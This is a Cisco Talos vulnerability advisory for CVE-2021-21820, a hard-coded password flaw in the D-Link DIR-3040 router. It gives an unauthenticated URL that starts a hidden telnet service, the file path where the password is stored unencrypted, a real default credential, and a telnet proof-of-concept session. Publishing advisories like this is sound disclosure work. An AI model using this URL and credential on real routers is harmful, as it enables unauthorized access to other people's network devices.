Talos Vulnerability Report

TALOS-2021-1285

D-LINK DIR-3040 Libcli test environment hard-coded password vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21820

Summary

A hard-coded password vulnerability exists in the Libcli Test Environment functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-798 - Use of Hard-coded Credentials

Details

The DIR-3040 is an AC3000-based wireless internet router.

A hidden telnet service can be started without authentication by visiting

```
https://<router_ip>/start_telnet
```

This service presents the user with a login prompt for their “libcli test environment”:

```
$ telnet 192.168.0.1
          Trying 192.168.0.1...
          Connected to 192.168.0.1.
          Escape character is '^]'.
          dlinkrouter login: admin
          Password:
```

From here, a user can interact with the Libcli environment using their password with the static-salt discussed in this series of vulnerabilites.

While this is typically the same password that was created using the setup wizard, a default password can be used to login before this is changed.

The current password at any time can be found unencrypted in `/var/2860_data.dat`. There is a default password that will allow you to access the `Libcli test environment` via `telnet`.

- $ head /var/2860_data.dat Default WorkMode=WirelessRouter IcapMode=0 WebInit=1 DBDC_MODE=1 HostName=Mediatek Login=admin Password=DIRrqtq*@twsz OperationMode=1 boost_mode=auto

Exploit Proof of Concept

```
$ telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
dlinkrouter login: admin
Password:
libcli test environment

router>
  help                  Show available commands
  quit                  Disconnect
  history               Show a list of previously run commands
  protest               protest cmd
  iwpriv                iwpriv cmd
  ifconfig              ifconfig cmd
  iwconfig              iwconfig cmd
  reboot                reboot cmd
  brctl                 brctl cmd
  ated                  ated cmd
  ping                  ping cmd

router>
```

Timeline

2021-04-28 - Vendor disclosure

2021-05-12 - Vendor acknowledged

2021-06-08 - Vendor provided patch for Talos to test

2021-06-09 - Talos provided feedback on patch

2021-06-23 - Talos follow up with vendor

2021-07-13 - Vendor patched

2021-07-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.